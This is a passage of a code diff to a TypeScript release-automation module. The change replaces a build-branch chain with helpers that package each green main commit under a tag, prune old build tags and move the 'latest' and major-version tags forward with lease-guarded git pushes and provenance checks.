*/ + sha: string; + changed: boolean; + reason: string; +} -/** A tip is never trusted on its Source trailer alone: a hand push can carry any trailer. */ -function validateTip(cwd: string, tip: string, mainHead: string): string { - const tipSource = sourceTrailer(cwd, tip); - if (tipSource === "") { - throw new Error( - `${BUILD_REF} is at ${tip}, which carries no Source trailer, so this pipeline did not mint it; ${BY_HAND}`, - ); - } - if (!FULL_SHA.test(tipSource)) { - throw new Error( - `${BUILD_REF} is at ${tip}, whose Source trailer ${JSON.stringify(tipSource)} is not a full commit sha, so this pipeline did not mint it; ${BY_HAND}`, - ); - } - if (!isAncestor(cwd, tipSource, mainHead)) { - throw new Error( - `${BUILD_REF} is at ${tip}, built from ${tipSource}, which is not on main's history; refusing to append to a build branch this pipeline did not advance - inspect it by hand.`, +/** + * The one way a pointer (latest, vX) moves: forward along main, never back. A pointer's source is its commit's + * parent when that parent is on main; the candidate's source is on main by its caller's check. + * + * pointer's source is the candidate's or descends from it -> left: the same package (another commit of it too), or a rerun of an older commit's run + * same source, another tree -> refused: two builds of one main commit + * pointer's source unknown (off main, a root) -> moved: a value this pipeline did not mint + * otherwise -> moved, under a lease on the value observed + * + * A value left in place must be a package of the commit it is read as packaging, or a hand-pushed bare child of a + * newer commit would stand as "already past". Main's head is read AFTER the pointer on every pass: a pointer a rival + * moved to a newer commit's package has that commit on main by then. A lease lost to a rival re-observes and + * decides again; a push refused with the ref unmoved is thrown. + */ +export function movePointer(cwd: string, ref: string, candidate: Packaged): PointerMove { + for (let attempt = 1; attempt <= PUSH_ATTEMPTS; attempt++) { + const observed = observeRemote(cwd, ref); + const at = observed.peeled; + if (observed.id !== "") { + if (!fetchObserved(cwd, ref, observed.id)) { + continue; + } + const mainHead = fetchMainHead(cwd); + const parents = git(cwd, "log", "-1", "--format=%P", at).split(" ").filter(Boolean); + const current = parents.length === 1 ? parents[0] : undefined; + // A pointer whose commit is no child of a main commit (the retired chain's tip, a hand-pushed bare root) is replaced, not judged. + if (current !== undefined && isAncestor(cwd, current, mainHead)) { + if (isAncestor(cwd, candidate.source, current)) { + assertPackageOf(cwd, at, current, `${ref} (${at})`, "inspect it by hand."); + if ( + current === candidate.source && + git(cwd, "rev-parse", `${at}^{tree}`) !== + git(cwd, "rev-parse", `${candidate.commit}^{tree}`) + ) { + throw new Error( + `${ref} is at ${at}, another package of ${candidate.source} than ${candidate.commit} with another tree; two builds of one main commit exist - inspect both by hand.`, + ); + } + return { + ref, + sha: at, + changed: false, + reason: `${ref} already at ${at}, packaging ${current}, which is ${candidate.source} or past it`, + }; + } + } + } + const refused = push( + cwd, + `--force-with-lease=${ref}:${observed.id}`, + "origin", + `${candidate.commit}:${ref}`, ); + if (refused === null) { + return { + ref, + sha: candidate.commit, + changed: true, + reason: `${ref}: moved to ${candidate.commit}${at === "" ? "" : ` from ${at}`}`, + }; + } + if (observeRemote(cwd, ref).id === observed.id) { + throw refused; + } } - assertPackages( - cwd, - tip, - tipSource, - `${BUILD_REF} is at ${tip}, which names ${tipSource} as its source but`, - BY_HAND, + throw new Error( + `could not move ${ref} after ${PUSH_ATTEMPTS} compare-and-swap attempts; something keeps moving it concurrently - rerun this job once it settles.`, ); - return tipSource; } -function assertSameBuild(cwd: string, packaged: string, sourceSha: string, tree: string): void { - assertPackages( - cwd, - packaged, - sourceSha, - `${BUILD_REF} holds ${packaged}, which names ${sourceSha} as its source but`, - BY_HAND, - ); - const packagedTree = git(cwd, "rev-parse", `${packaged}^{tree}`); - if (packagedTree !== tree) { - throw new Error( - `${BUILD_REF} holds ${packaged}, which names ${sourceSha} as its source but its tree ` + - `${packagedTree} is not the tree ${tree} this checkout's build of ${sourceSha} packages, ` + - `so the two differ under ${PACKAGED} (bytes, file modes, or the files under lib/pkg/): either the commit ` + - "was not built from this source or the build is not reproducible, and the Source trailer " + - "cannot tell those apart. Diff the two trees by hand; a hand-pushed commit is left for the " + - "next green push to bury (the ruleset on build forbids moving it back), a build that " + - "differs between runs is fixed before build can be trusted.", - ); - } +interface PackageCommitOptions { + cwd: string; + /** The green main commit this run judged; the checkout must be at it with the bundle built. */ + sourceSha: string; + /** Provenance trailer for a packaged commit this run mints (the workflow run URL). */ + runUrl?: string; } -/** A plain fast-forward push is the concurrency control: git's compare-and-set rejects an overtaken append, and the - * caller answers by re-reading the chain and deciding again. Why the first commit is a root: see WORKFLOWS_DIR. */ -function appendChain( - cwd: string, - build: BuildTip, - sourceSha: string, - tree: string, - runUrl: string | undefined, -): { sha: string } | { overtaken: string } { - let parent: string | null = null; - if (build.tip !== null) { - validateTip(cwd, build.tip, build.mainHead); - parent = build.tip; - } - const sha = commitChain(cwd, tree, parent, sourceSha, runUrl); - const push = pushUnlessOvertaken(cwd, "origin", `${sha}:${BUILD_REF}`); - return push.landed ? { sha } : { overtaken: push.stderr }; +interface PackageCommitResult extends EnsuredTag { + /** The build tags this run deleted, beyond the kept window. */ + pruned: string[]; + latest: PointerMove; +} + +/** The green push's step: the commit's package under its build tag, the window pruned, latest moved forward. */ +export function packageCommit(options: PackageCommitOptions): PackageCommitResult { + const { cwd, sourceSha, runUrl } = options; + assertFullHistory( + cwd, + "package-commit", + "the commit's position on main and whether latest's source lies on its history cannot be judged on a truncated one.", + ); + const tree = builtTree(cwd, sourceSha); + assertOnMain(cwd, sourceSha, "package a commit main does not hold"); + const packaged = ensurePackaged(cwd, sourceSha, tree, runUrl); + const pruned = pruneBuildTags(cwd); + return { ...packaged, pruned, latest: movePointer(cwd, LATEST_REF, packaged) }; } -export interface PackageOptions { +interface PackageOptions { cwd: string; tag: string; /** The release's merge commit, resolved from the draft (not necessarily this run's own push); the tag's recorded source. */ sourceSha: string; - /** Provenance trailer for a chain commit this run has to append (the workflow run URL). */ + /** Provenance trailer for a packaged commit this run has to mint (the workflow run URL). */ runUrl?: string; } -export interface PackagedRelease { +interface PackagedRelease { created: boolean; packagedSha: string; - /** Where refs/tags/latest points after this run. */ - latestSha: string; + /** The build tags this run deleted, beyond the kept window. */ + pruned: string[]; + latest: PointerMove; } +const FROZEN = + "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; + /** - * Mint the release's version tag on its chain commit exactly once; the checkout must be the merge commit with the - * bundle freshly built. A rerun finds the tag on origin and byte-verifies it instead, so no rerun can move or - * replace a version tag, then reconciles latest the same way, healing a run that died between the two pushes. + * Mint the release's version tag on its packaged commit exactly once; the checkout must be the merge commit with the + * bundle freshly built. A rerun finds the tag on origin and holds it to this build instead, so no rerun can move or + * replace a version tag, then prunes and reconciles latest as post-green does, healing a run that died between the + * pushes (and giving @latest a value even where post-green cannot push). * - * source off origin's main -> stop before any push: the frozen tag and the build tip would be poisoned - * a chain commit packages it -> tagged (normally build's tip, appended by post-green earlier in this run) - * none does -> appended here through post-green's path; an overtaken append re-walks - * tag on -> latest moved as post-green moves it, so @latest exists even where post-green cannot push + * source off origin's main -> stop before any push: the frozen tag would be poisoned + * the build tag packages it -> tagged there (normally minted by post-green earlier in this run) + * no build tag (pruned, or skipped) -> minted here through post-green's path; a package the window has moved past goes again at once */ export function packageRelease(options: PackageOptions): PackagedRelease { const { cwd, tag, sourceSha, runUrl } = options; releaseMajor(tag); - const tree = packagedTree(cwd, sourceSha); + assertFullHistory( + cwd, + "package", + "the merge commit's position on main and whether latest's source lies on its history cannot be judged on a truncated one.", + ); + const tree = builtTree(cwd, sourceSha); // A hand recovery with the wrong TAG, or a draft pointing at the wrong commit, must stop before an immutable tag is minted. const manifest = manifestVersionAt(cwd, "HEAD"); if (tag !== `v${manifest}`) { @@ -590,205 +587,54 @@ export function packageRelease(options: PackageOptions): PackagedRelease { `tag ${tag} does not match the manifest version ${JSON.stringify(manifest)} at ${sourceSha}; refusing to package a version this source did not release.`, ); } - const mainHead = fetchMainHead(cwd); - if (!isAncestor(cwd, sourceSha, mainHead)) { - throw new Error( - `the release source ${sourceSha} is not on origin's main (its head is ${mainHead}); refusing to package, tag, or publish a commit main does not hold.`, - ); - } + assertOnMain(cwd, sourceSha, "package, tag, or publish a commit main does not hold"); const ref = `refs/tags/${tag}`; - // A standalone git() propagates a failing ls-remote, so a transport error cannot read as "the tag does not exist". - const existing = git(cwd, "ls-remote", "origin", ref); - if (existing !== "") { - git(cwd, "fetch", "--quiet", ...TAG_FETCH, "origin", `+${ref}:${ref}`); - const verified = verifyPackagedTag(cwd, tag, sourceSha); - const latest = publishLatest(cwd, 3); - console.error(latest.reason); - return { created: false, packagedSha: verified, latestSha: latest.sha }; - } - const attempts = 3; - let packagedSha: string | null = null; - for (let attempt = 1; attempt <= attempts && packagedSha === null; attempt++) { - const build = readBuildTip(cwd); - const found = build.tip === null ? undefined : chainPackaging(cwd).get(sourceSha); - if (found !== undefined) { - assertSameBuild(cwd, found, sourceSha, tree); - packagedSha = found; - break; - } - const appended = appendChain(cwd, build, sourceSha, tree, runUrl); - if ("sha" in appended) { - packagedSha = appended.sha; - break; - } - console.error(`build push attempt ${attempt}/${attempts} overtaken: ${appended.overtaken}`); - } - if (packagedSha === null) { - throw new Error( - `could not append ${sourceSha}'s package to ${BUILD_REF} after ${attempts} attempts; something keeps moving it concurrently - rerun this job once it settles.`, - ); - } - git(cwd, "tag", tag, packagedSha); - git(cwd, "push", "origin", ref); - const latest = publishLatest(cwd, attempts); - console.error(latest.reason); - return { created: true, packagedSha, latestSha: latest.sha }; -} - -/** An existing tag is trusted only as THIS source's package. A planted commit that keeps the expected build outputs - * but edits action.yml fails the tree check; one whose files or bytes differ from the fresh build fails the byte check. */ -function verifyPackagedTag(cwd: string, tag: string, sourceSha: string): string { - const frozen = - "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; - const packagedSha = git(cwd, "rev-parse", `refs/tags/${tag}^{}`); - const source = sourceTrailer(cwd, packagedSha); - if (source !== sourceSha) { - throw new Error( - `refs/tags/${tag} exists but records ${source === "" ? "no source" : `${source} as its source`}, not this release's merge commit ${sourceSha}; ${frozen}`, - ); - } - assertPackages(cwd, packagedSha, sourceSha, `refs/tags/${tag} (${packagedSha})`, frozen); - const tagged = packagedEntries(cwd, packagedSha) - .map((entry) => entry.path) - .sort(); - const built = builtPaths(cwd); - if (tagged.join("\n") !== built.join("\n")) { - throw new Error( - `refs/tags/${tag} carries [${tagged.join(", ")}] under ${PACKAGED}, while this build of ${sourceSha} produced [${built.join(", ")}]; ${frozen}`, - ); - } - for (const path of built) { - const taggedBytes = gitBytes(cwd, "show", `${packagedSha}:${path}`); - if (!taggedBytes.equals(readFileSync(join(cwd, path)))) { - throw new Error( - `refs/tags/${tag} carries a ${path} that is not a build of ${sourceSha}'s source; ${frozen}`, - ); - } - } - assertOnChain(cwd, packagedSha, `refs/tags/${tag} (${packagedSha})`, frozen); - return packagedSha; -} - -export interface RetagMajorOptions { - cwd: string; - tag: string; - sourceSha: string; -} - -/** The version tag is re-verified against origin from scratch, never trusted from the local ref, and the major never - * steps backward: a rerun of an old release's job must not regress major-pinned consumers. The line's tags and the - * major's value come from ONE advertisement, so the release the compare judged is the release the lease holds - * against: a newer release landing after it either moved the major (the lease fails; re-read and retry) or has not - * yet (its own move follows, and a lease of its own settles the order). */ -export function retagMajor(options: RetagMajorOptions): { major: string; packagedSha: string } { - const { cwd, tag, sourceSha } = options; - const ref = `refs/tags/${tag}`; - git(cwd, "fetch", "--quiet", ...TAG_FETCH, "origin", `+${ref}:${ref}`); - // The full verification, not a weaker probe: the major must never bless a commit a fresh package run would refuse. - const packagedSha = verifyPackagedTag(cwd, tag, sourceSha); - const major = releaseMajor(tag); - const attempts = 3; - for (let attempt = 1; attempt <= attempts; attempt++) { - const line = observeMajorLine(cwd, major); - if (line.newest !== null && line.newest !== tag) { - throw new Error( - `${line.newest} already exists in the ${major} line, so ${major} must stay on it; refusing to move ${major} back to ${tag} (a rerun of an old release's job must not regress major-pinned consumers).`, - ); - } - git(cwd, "tag", "-f", major, packagedSha); - const push = pushUnlessOvertaken( - cwd, - `--force-with-lease=refs/tags/${major}:${line.observed}`, - "origin", - `refs/tags/${major}`, - ); - if (push.landed) { - return { major, packagedSha }; - } - console.error(`major lease push attempt ${attempt}/${attempts} overtaken: ${push.stderr}`); - } - throw new Error( - `could not move ${major} after ${attempts} compare-and-swap attempts; something is moving it concurrently - inspect the tag by hand.`, + const tagged = ensureTag( + cwd, + ref, + sourceSha, + () => ensurePackaged(cwd, sourceSha, tree, runUrl).commit, + (peeled) => assertPackageOf(cwd, peeled, sourceSha, `${ref} (${peeled})`, FROZEN, tree), ); + const pruned = pruneBuildTags(cwd); + return { + created: tagged.created, + packagedSha: tagged.commit, + pruned, + latest: movePointer(cwd, LATEST_REF, tagged), + }; } -/** The major's value and the newest release tag in its line, from one advertisement. */ -function observeMajorLine(cwd: string, major: string): { observed: string; newest: string | null } { - const listed = git(cwd, "ls-remote", "origin", `refs/tags/${major}`, `refs/tags/${major}.*`); - let observed = ""; - let newest: number[] | null = null; - for (const line of listed.split("\n")) { - const [sha = "", name] = line.split("\t"); - if (name === `refs/tags/${major}`) { - observed = sha; - continue; - } - const match = name?.match(/^refs\/tags\/v(\d+)\.(\d+)\.(\d+)$/); - if (!match) { - continue; - } - const parts = [Number(match[1]), Number(match[2]), Number(match[3])]; - if (newest === null || isNewer(parts, newest)) { - newest = parts; - } - } - return { observed, newest: newest === null ? null : `v${newest.join(".")}` }; -} - -function isNewer(a: number[], b: number[]): boolean { - for (let i = 0; i < 3; i++) { - const left = a[i] ?? 0; - const right = b[i] ?? 0; - if (left !== right) { - return left > right; - } - } - return false; -} - -export interface VerifyOptions { +interface RetagMajorOptions { cwd: string; tag: string; sourceSha: string; } -/** Reads origin's refs afresh into refs/verify/: nothing this run holds locally is trusted. */ -export function verifyPublishedRefs(options: VerifyOptions): { +interface RetaggedMajor { major: string; packagedSha: string; -} { + move: PointerMove; +} + +/** The version tag is read from origin afresh and judged from its objects alone (the byte check against a fresh + * build was package's, a step earlier); the major then moves through movePointer, so a rerun of an old release's + * job leaves a newer release's major where it is. */ +export function retagMajor(options: RetagMajorOptions): RetaggedMajor { const { cwd, tag, sourceSha } = options; - const major = releaseMajor(tag); - git( + assertFullHistory( cwd, - "fetch", - "--quiet", - ...TAG_FETCH, - "origin", - `+refs/tags/${tag}:refs/verify/${tag}`, - `+refs/tags/${major}:refs/verify/${major}`, + "retag-major", + "whether the release and the major's current source lie on main cannot be judged on a truncated one.", ); - const packagedSha = git(cwd, "rev-parse", `refs/verify/${tag}^{}`); - const source = sourceTrailer(cwd, packagedSha); - if (source !== sourceSha) { - throw new Error( - `origin's refs/tags/${tag} points at ${packagedSha}, which records ${source === "" ? "no source" : `${source} as its source`}, not this release's merge commit ${sourceSha}.`, - ); - } - // The verify job's checkout is main's head at depth 1; the merge commit's tree comes from origin by sha. - git(cwd, "fetch", "--quiet", "--depth=1", "origin", sourceSha); - const frozen = - "the release-tags ruleset freezes version tags, so no rerun can replace it - inspect it by hand."; - assertPackages(cwd, packagedSha, sourceSha, `origin's refs/tags/${tag} (${packagedSha})`, frozen); - assertCarries(cwd, packagedSha, REQUIRED_BUILT_FILES); - assertOnChain(cwd, packagedSha, `origin's refs/tags/${tag} (${packagedSha})`, frozen); - const majorSha = git(cwd, "rev-parse", `refs/verify/${major}^{}`); - if (majorSha !== packagedSha) { - throw new Error( - `origin's refs/tags/${major} points at ${majorSha}, not this release's packaged commit ${packagedSha}; if a newer release moved it during this run, this is stale-run noise - otherwise inspect both tags by hand.`, - ); - } - return { major, packagedSha }; + const ref = `refs/tags/${tag}`; + git(cwd, "fetch", "--quiet", ...TAG_FETCH, "origin", `+${ref}:${ref}`); + const packagedSha = git(cwd, "rev-parse", `${ref}^{}`); + assertOnMain(cwd, sourceSha, "bless a release main does not hold"); + assertPackageOf(cwd, packagedSha, sourceSha, `${ref} (${packagedSha})`, FROZEN); + const major = releaseMajor(tag); + const move = movePointer(cwd, `refs/tags/${major}`, { commit: packagedSha, source: sourceSha }); + return { major, packagedSha, move }; } /** checks.yml's head_ref conditions spell this by hand; test/docs/checks-workflow.test.ts pins them to it. */ @@ -818,9 +664,10 @@ export function anchorReleasePr(options: AnchorOptions): AnchorResult { if (head !== sourceSha) { return { changed: false, reason: `main moved to ${head ?? "?"}; the newer run anchors` }; } + const branchRef = `refs/heads/${RELEASE_PR_BRANCH}`; for (let attempt = 1; attempt <= attempts; attempt++) { - const branchRef = `refs/heads/${RELEASE_PR_BRANCH}`; - if (git(cwd, "ls-remote", "origin", branchRef) === "") { + const observed = git(cwd, "ls-remote", "origin", branchRef).split("\t")[0] ?? ""; + if (observed === "") { return { changed: false, reason: "no release PR branch to anchor" }; } // Detached, never a local branch: a retry after an overtaken push re-fetches, and git refuses to fetch into a checked-out ref. @@ -858,12 +705,17 @@ export function anchorReleasePr(options: AnchorOptions): AnchorResult { if (headNow !== sourceSha) { return { changed: false, reason: `main moved to ${headNow ?? "?"}; the newer run anchors` }; } - const push = pushUnlessOvertaken(cwd, "origin", `HEAD:${branchRef}`); - if (push.landed) { + const refused = push(cwd, "origin", `HEAD:${branchRef}`); + if (refused === null) { return { changed: true, reason: `${RELEASE_PR_BRANCH}: anchored at ${sourceSha}` }; } + if ((git(cwd, "ls-remote", "origin", branchRef).split("\t")[0] ?? "") === observed) { + throw refused; + } // release-please force-pushed a refresh mid-anchor; reapply on it. - console.error(`anchor push attempt ${attempt}/${attempts} overtaken: ${push.stderr}`); + console.error( + `anchor push attempt ${attempt}/${attempts} overtaken by a refresh; re-reading the branch`, + ); } throw new Error( `could not anchor ${RELEASE_PR_BRANCH} after ${attempts} attempts; something keeps rewriting the branch - rerun this job once the branch settles.`, @@ -874,11 +726,11 @@ export function anchorReleasePr(options: AnchorOptions): AnchorResult { * or a release merge slipped past the pipeline, and every release PR refresh would compute from a stale boundary. * A boundary NEWER than every recognized merge is a missed merge or a hand edit; either way it is never rolled back. */ export function boundaryCheck(cwd: string): { boundary: string } { - if (git(cwd, "rev-parse", "--is-shallow-repository") === "true") { - throw new Error( - "boundary-check needs the full history (fetch-depth: 0) and this checkout is shallow: a release merge or the recorded boundary can sit beyond its depth, and no verdict on a truncated history holds.", - ); - } + assertFullHistory( + cwd, + "boundary-check", + "a release merge or the recorded boundary can sit beyond its depth, and no verdict on a truncated history holds.", + ); const config = JSON.parse(readFileSync(join(cwd, CONFIG_FILE), "utf8")) as { "last-release-sha"?: unknown; }; @@ -924,15 +776,6 @@ export function boundaryCheck(cwd: string): { boundary: string } { ); } -/** merge-base fails outright on a sha this checkout lacks, so unknown ones are screened into a plain "no" first. */ -function isAncestor(cwd: string, ancestor: string, descendant: string): boolean { - return ( - [ancestor, descendant].every((sha) => - gitYesNo(cwd, "rev-parse", "--verify", "--quiet", `${sha}^{commit}`), - ) && gitYesNo(cwd, "merge-base", "--is-ancestor", ancestor, descendant) - ); -} - /** Run on the release PR's own checkout. The managed release-freshness gate proves the PR contains main's tip, not * that the anchor commit survived a release-please force-push, so requiring last-release-sha to equal origin's * CURRENT main tip makes an unanchored release PR unmergeable instead of parking the pipeline after its merge. */ @@ -955,194 +798,6 @@ export function anchorCheck(cwd: string): { boundary: string } { return { boundary: String(recorded) }; } -export interface AdvanceBuildOptions { - cwd: string; - /** The green main commit this run judged; the checkout must be at it with the bundle built. */ - sourceSha: string; - /** Provenance trailer for the chain commit (the workflow run URL). */ - runUrl?: string; - attempts?: number; -} - -export interface AdvanceBuildResult { - changed: boolean; - /** The chain commit packaging this source, or the newer tip build was left at. */ - buildSha: string; - /** Where refs/tags/latest points when this run ends: the chain commit packaging the newest source. */ - latestSha: string; - reason: string; -} - -/** - * build only ever advances: the next chain commit is parented on the tip and pushed without force. latest follows - * the chain's newest main source rather than the tip, because a release-hook backfill can append an older source - * behind newer ones. - * - * the chain already packages sourceSha -> nothing appended (its tree must match this build); latest reconciled - * the tip is already past sourceSha -> left alone: a rerun of an older commit's run - * the tip's source is off main -> stop; a hand push is never built on - */ -export function advanceBuild(options: AdvanceBuildOptions): AdvanceBuildResult { - const { cwd, sourceSha, runUrl, attempts = 3 } = options; - if (git(cwd, "rev-parse", "--is-shallow-repository") === "true") { - throw new Error( - "advance-build needs the full history (fetch-depth: 0) and this checkout is shallow: whether build's recorded sources lie on this commit's history cannot be judged on a truncated one.", - ); - } - const tree = packagedTree(cwd, sourceSha); - const advanced = advanceChain(cwd, sourceSha, tree, runUrl, attempts); - const latest = publishLatest(cwd, attempts); - return { - ...advanced, - latestSha: latest.sha, - reason: `${advanced.reason}; ${latest.reason}`, - }; -} - -function advanceChain( - cwd: string, - sourceSha: string, - tree: string, - runUrl: string | undefined, - attempts: number, -): { changed: boolean; buildSha: string; reason: string } { - for (let attempt = 1; attempt <= attempts; attempt++) { - const build = readBuildTip(cwd); - if (build.tip !== null) { - const found = chainPackaging(cwd).get(sourceSha); - if (found !== undefined) { - assertSameBuild(cwd, found, sourceSha, tree); - return { - changed: false, - buildSha: found, - reason: `${BUILD_REF} already packages ${sourceSha} at ${found}`, - }; - } - const tipSource = validateTip(cwd, build.tip, build.mainHead); - if (!isAncestor(cwd, tipSource, sourceSha)) { - if (!isAncestor(cwd, sourceSha, tipSource)) { - throw new Error( - `${BUILD_REF} is at ${build.tip}, built from ${tipSource}, which is not on main's history at ${sourceSha}; refusing to append to a build branch this pipeline did not advance - inspect it by hand.`, - ); - } - return { - changed: false, - buildSha: build.tip, - reason: `${BUILD_REF} is already past ${sourceSha} (built from ${tipSource}); the newer run advanced it`, - }; - } - } - const appended = appendChain(cwd, build, sourceSha, tree, runUrl); - if ("sha" in appended) { - return { - changed: true, - buildSha: appended.sha, - reason: `${BUILD_REF}: advanced to ${appended.sha}`, - }; - } - console.error(`build push attempt ${attempt}/${attempts} overtaken: ${appended.overtaken}`); - } - throw new Error( - `could not advance ${BUILD_REF} after ${attempts} attempts; something keeps moving it concurrently - rerun this job once it settles.`, - ); -} - -/** - * latest names the chain commit whose source is the newest on main, read off the whole chain: the tip alone is wrong - * after the release hook backfills an older source behind newer ones, and the run's own commit alone when the run - * that appended the newer source lost its latest push before that backfill. - * observe latest -> read the chain -> pick the target -> push with a lease on the observed value - * Observing BEFORE the chain read is what makes the lease sound: build only advances and latest only names values - * build has held, so the chain read is that value or newer, and a stale lease means another run moved latest. - */ -function publishLatest(cwd: string, attempts: number): { sha: string; reason: string } { - for (let attempt = 1; attempt <= attempts; attempt++) { - const observed = observeRemote(cwd, LATEST_REF); - const build = readBuildTip(cwd); - if (build.tip === null) { - throw new Error( - `${BUILD_REF} vanished after this run appended to it; inspect origin by hand.`, - ); - } - const tipSource = validateTip(cwd, build.tip, build.mainHead); - const target = chainCommitOfNewestSource(cwd, build.mainHead, { - commit: build.tip, - source: tipSource, - }); - if (target.commit !== build.tip) { - assertPackages( - cwd, - target.commit, - target.source, - `${BUILD_REF} holds ${target.commit}, which names ${target.source} as its source but`, - BY_HAND, - ); - } - if (observed.peeled === target.commit) { - return { sha: target.commit, reason: `${LATEST_REF} already at ${target.commit}` }; - } - const push = pushUnlessOvertaken( - cwd, - `--force-with-lease=${LATEST_REF}:${observed.id}`, - "origin", - `${target.commit}:${LATEST_REF}`, - ); - if (push.landed) { - return { sha: target.commit, reason: `${LATEST_REF}: moved to ${target.commit}` }; - } - console.error(`latest lease push attempt ${attempt}/${attempts} overtaken: ${push.stderr}`); - } - throw new Error( - `could not move ${LATEST_REF} after ${attempts} compare-and-swap attempts; something keeps moving it concurrently - rerun this job once it settles.`, - ); -} - -/** A ref as origin advertises it: the id a lease holds against, and the commit it peels to (an annotated tag's id - * is not its commit's). Both empty when the ref does not exist. The peeled line is advertised only when its own - * pattern asks for it. */ -function observeRemote(cwd: string, ref: string): { id: string; peeled: string } { - let id = ""; - let peeled = ""; - for (const line of git(cwd, "ls-remote", "origin", ref, `${ref}^{}`).split("\n")) { - const [sha = "", name] = line.split("\t"); - if (name === ref) { - id = sha; - } else if (name === `${ref}^{}`) { - peeled = sha; - } - } - return { id, peeled: peeled === "" ? id : peeled }; -} - -/** The chain commit packaging the newest main source, in MAIN's order rather than the chain's: a release-hook - * backfill appends an older source behind newer ones. The validated tip is the floor: its source is on main under - * its full sha, so only the main commits newer than it are searched and the tip stands when none is packaged. */ -function chainCommitOfNewestSource(cwd: string, mainHead: string, tip: ChainCommit): ChainCommit { - const packaging = chainPackaging(cwd); - const newer = git(cwd, "rev-list", "--topo-order", `${tip.source}..${mainHead}`); - for (const source of newer.split("\n")) { - const commit = packaging.get(source); - if (commit !== undefined) { - return { commit, source }; - } - } - return tip; -} - -/** The ruleset-protected chain is the trust boundary: a detached commit with the right tree, bytes, and Source - * trailer must not be blessed as a release or become what latest names. */ -function assertOnChain(cwd: string, packaged: string, ref: string, remedy: string): void { - const build = readBuildTip(cwd); - if (build.tip === null) { - throw new Error(`${ref} exists but ${BUILD_REF} does not exist on origin; ${remedy}`); - } - if (!isAncestor(cwd, packaged, BUILD_REMOTE)) { - throw new Error( - `${ref} is not on ${BUILD_REF} (not an ancestor of its tip ${build.tip}); ${remedy}`, - ); - } -} - /** The manifest's version at a commit: what release-please last released, or is about to. */ function manifestVersionAt(cwd: string, treeish: string): string { const manifest = JSON.parse(git(cwd, "show", `${treeish}:${MANIFEST_FILE}`)) as Record< @@ -1152,8 +807,6 @@ function manifestVersionAt(cwd: string, treeish: string): string { return String(manifest["."]); } -/** Where a commit sits on main, read from a full checkout: the two identifiers that order its pre-release - * version. Both are the commit's own, so every run for one commit mints one version string. */ export interface MainPosition { /** Commits reachable from it along first parents: one more per merge to main, whatever a merged PR's branch held. */ count: number; @@ -1162,8 +815,7 @@ export interface MainPosition { } /** Refused on a shallow checkout: it would count to its boundary and mint a truncated count, so the version would - * sort below ones minted from the full history for older commits. Count 0 is never minted here; it marks the - * hand-published bootstrap (docs/reference/library.md). */ + * sort below ones minted from the full history for older commits. */ export function mainPosition(cwd: string, sourceSha: string): MainPosition { if (git(cwd, "rev-parse", "--is-shallow-repository") === "true") { throw new Error( @@ -1195,16 +847,12 @@ export function prereleaseVersion( `the manifest version ${JSON.stringify(manifestVersion)} is not X.Y.Z; refusing to derive a pre-release version from it.`, ); } + // The first commit counts 1, so a count of 0 names no commit; a version carrying one was never minted here. if (!Number.isInteger(position.count) || position.count < 1) { throw new Error( `the commit count ${JSON.stringify(position.count)} is not a positive integer; refusing to mint a pre-release version from it.`, ); } - if (!/^\d{8}$/.test(position.date)) { - throw new Error( - `the commit date ${JSON.stringify(position.date)} is not YYYYMMDD; refusing to mint a pre-release version from it.`, - ); - } if (!FULL_SHA.test(sourceSha)) { throw new Error( `the source ${JSON.stringify(sourceSha)} is not a full commit sha; refusing to mint a pre-release version from it.`, @@ -1230,7 +878,6 @@ function assertCheckoutAt(cwd: string, sourceSha: string): void { } } -/** prereleaseVersion for the checkout: the manifest is read at sourceSha, which HEAD must be. */ export function prereleaseVersionOf(options: PrereleaseVersionOptions): string { const { cwd, sourceSha } = options; assertCheckoutAt(cwd, sourceSha); @@ -1249,7 +896,6 @@ interface MintedVersion { sha7: string | null; } -/** The two version shapes this pipeline mints, or null for anything else (a hand-published 2.0.1-beta.1). */ function mintedVersion(version: string): MintedVersion | null { const match = version.match( /^(\d+)\.(\d+)\.(\d+)(?:-main\.(?:(?:0|[1-9]\d*)\.)+g([0-9a-f]{7}))?$/, @@ -1272,18 +918,9 @@ function parseMinted(version: string): MintedVersion { return minted; } -/** How npm orders two releases: by major, minor, patch. */ -export function releaseOrder(a: string, b: string): "newer" | "same" | "older" { - const left = parseMinted(a).release; - const right = parseMinted(b).release; - for (let i = 0; i < 3; i++) { - const l = left[i] ?? 0; - const r = right[i] ?? 0; - if (l !== r) { - return l > r ? "newer" : "older"; - } - } - return "same"; +/** Whether release `a` sorts above `b`: by major, minor, patch. */ +function newerRelease(a: [number, number, number], b: [number, number, number]): boolean { + return a[0] !== b[0] ? a[0] > b[0] : a[1] !== b[1] ? a[1] > b[1] : a[2] > b[2]; } /** What the registry holds for the package: every published version, and where each dist-tag points. */ @@ -1292,51 +929,11 @@ export interface Packument { "dist-tags": Record; } -export type PublishVerdict = { - /** Published pre-releases the verdict set aside, one line each: a source the checkout cannot place. */ - notices: string[]; -} & ({ publish: true; version: string } | { publish: false; version: string; reason: string }); - -/** Where a published pre-release's source sits relative to this run's, as the checkout knows it. */ -type Placement = - | { kind: "unresolved" } - | { kind: "same" | "ancestor" | "descendant" | "unrelated"; sha: string }; - -/** The commit a name resolves to in the checkout, or null when it names none (a sha the checkout lacks, or a short - * one naming more than one object): rev-parse exits 1 for both. Any other failure is thrown, so a checkout git - * cannot read never passes for one without the commit (that "absent" would publish over a descendant). */ -function resolveCommit(cwd: string, name: string): string | null { - const args = ["rev-parse", "--verify", "--quiet", `${name}^{commit}`]; - try { - return execFileSync("git", args, { - cwd, - encoding: "utf8", - stdio: ["ignore", "pipe", "pipe"], - }).trim(); - } catch (error) { - if ((error as { status?: unknown }).status === 1) { - return null; - } - throw gitFailure(args, error); - } -} - -function placeAgainst(cwd: string, sourceSha: string, sha7: string): Placement { - const sha = resolveCommit(cwd, sha7); - if (sha === null) { - return { kind: "unresolved" }; - } - if (sha === sourceSha) { - return { kind: "same", sha }; - } - if (gitYesNo(cwd, "merge-base", "--is-ancestor", sourceSha, sha)) { - return { kind: "descendant", sha }; - } - return { - kind: gitYesNo(cwd, "merge-base", "--is-ancestor", sha, sourceSha) ? "ancestor" : "unrelated", - sha, - }; -} +export type PublishVerdict = + | { publish: true; version: string } + | { publish: false; version: string; reason: string }; +/** The next channel's verdict also carries, one line each, the published pre-releases it set aside: a source the checkout cannot place. */ +export type NextVerdict = PublishVerdict & { notices: string[] }; /** A published pre-release whose source is a strict descendant of this run's: newer on main, whatever its numbers say. */ interface Descendant { @@ 